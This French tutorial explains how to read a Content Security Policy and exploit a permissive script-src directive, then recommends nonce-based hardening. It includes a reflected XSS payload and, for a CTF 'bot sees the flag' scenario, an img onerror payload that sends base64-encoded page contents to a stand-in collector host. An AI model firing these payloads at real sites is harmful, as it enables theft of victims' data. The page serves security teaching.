Aller au contenu

CSP : analyser la politique et exploiter une directive script-src permissive

La Content Security Policy (CSP) est un en-tête de réponse qui déclare au navigateur les sources de contenu autorisées. Sa directive script-src décide quels scripts peuvent s’exécuter, ce qui en fait la principale barrière contre le XSS. Une politique mal configurée laisse cette barrière ouverte, et l’analyse commence toujours par la lecture de l’en-tête.

La première étape consiste à récupérer la CSP servie par l’application.

  • Ouvrir les outils de développement (F12), onglet Réseau, rafraîchir la page et sélectionner la requête du document HTML principal.
  • Dans les en-têtes de réponse, chercher Content-Security-Policy:.

En ligne de commande :

Fenêtre de terminal
curl -sI "http://cible/" | grep -i "content-security-policy"

Un exemple de politique renvoyée :

Content-Security-Policy: connect-src 'none'; font-src 'none'; frame-src 'none';
img-src 'self'; object-src 'none'; script-src 'unsafe-inline'; style-src 'self';
frame-ancestors 'none'; block-all-mixed-content;

C’est la directive script-src qui régit les scripts, donc celle à décortiquer.

Trois configurations reviennent, chacune avec son axe d’analyse.

script-src 'unsafe-inline' autorise l’exécution de scripts et de gestionnaires d’événements écrits directement dans la page. N’importe quel code injecté s’exécute.

Sur une cible réelle, ce mot-clé est souvent neutralisé par un nonce ou strict-dynamic (qui, dans les versions modernes de CSP, désactivent unsafe-inline), ou tempéré par un filtre en amont (WAF, expression régulière sur l’injection). Quand il est présent seul, la CSP n’offre plus aucune protection contre le XSS.

script-src 'nonce-2726c7f26c9a'

Le serveur génère un jeton aléatoire à chaque chargement, et seuls les scripts qui le portent (<script nonce="...">) s’exécutent. L’axe d’analyse porte sur la qualité du nonce : est-il réellement aléatoire ? S’il est statique d’un rafraîchissement à l’autre, ou dérivé d’une valeur prévisible (heure, adresse IP), il se devine. Une autre voie consiste à réutiliser, par injection HTML, le nonce d’un script légitime présent plus bas dans la page.

script-src 'sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE='

Le serveur n’autorise que les scripts inline dont le contenu correspond exactement au hash déclaré. Modifier un seul espace change le hash et bloque le script. L’exploitation passe alors par le gadget injection : réutiliser de façon détournée un script ou une bibliothèque dont le hash est déjà autorisé.

Quand script-src 'unsafe-inline' est présent seul, une XSS sur un paramètre reflété s’exécute. Un test simple sur un paramètre user :

http://cible/page?user=<img src=x onerror="alert(1)">

Le gestionnaire onerror d’une image dont la source échoue est un vecteur classique : il exécute du code sans balise <script>, ce que unsafe-inline autorise.

Un scénario courant : « seul le bot peut voir le flag ». Un robot côté serveur consulte une page contenant une donnée sensible, et l’on soumet un lien ou un formulaire (souvent via une page /report) pour qu’il déclenche l’injection. Le résultat n’étant pas visible directement, il faut exfiltrer le contenu vers un collecteur que l’on contrôle.

<img src=x onerror="document.location='//collector.exemple.fr/?d='+btoa(document.body.innerHTML)">

Le payload lit le contenu de la page vu par le bot (document.body.innerHTML), l’encode en Base64 pour préserver les caractères spéciaux, et redirige vers un collecteur qui enregistre la requête. Un service d’interception de requêtes (type webhook) reçoit alors la donnée dans ses journaux.

La forme encodée dans l’URL, telle qu’on la soumet au paramètre :

?user=%3Cimg+src%3Dx+onerror%3D%22document.location%3D%27%2F%2Fcollector.exemple.fr%2F%3Fd%3D%27%2Bbtoa%28document.body.innerHTML%29%22%3E

Bannir unsafe-inline, adopter un nonce avec strict-dynamic

Section intitulée « Bannir unsafe-inline, adopter un nonce avec strict-dynamic »

Une CSP robuste ne repose ni sur unsafe-inline ni sur une liste blanche de domaines, contournables par des gadgets. Le modèle recommandé associe un nonce par requête à strict-dynamic.

Content-Security-Policy:
script-src 'nonce-{ALEATOIRE_PAR_REQUETE}' 'strict-dynamic';
object-src 'none';
base-uri 'none';
  • Le nonce doit être imprévisible, généré aléatoirement à chaque réponse.
  • strict-dynamic fait confiance aux scripts chargés par un script déjà autorisé, sans avoir à lister chaque domaine.
  • object-src 'none' et base-uri 'none' ferment des vecteurs de contournement connus.

La CSP est une défense en profondeur, pas un substitut à l’échappement. Toute donnée utilisateur reflétée dans la page doit être encodée selon son contexte (HTML, attribut, JavaScript). Une XSS corrigée à la source ne dépend plus de la solidité de la CSP.

La CSP se lit avant de s’attaquer : l’en-tête Content-Security-Policy et sa directive script-src dictent la marche à suivre. unsafe-inline seul laisse passer toute injection ; un nonce se contourne s’il est prévisible ou réutilisable ; un hash s’exploite par gadget. Une politique solide bannit unsafe-inline au profit d’un nonce aléatoire couplé à strict-dynamic, mais elle ne dispense jamais d’échapper les entrées utilisateur.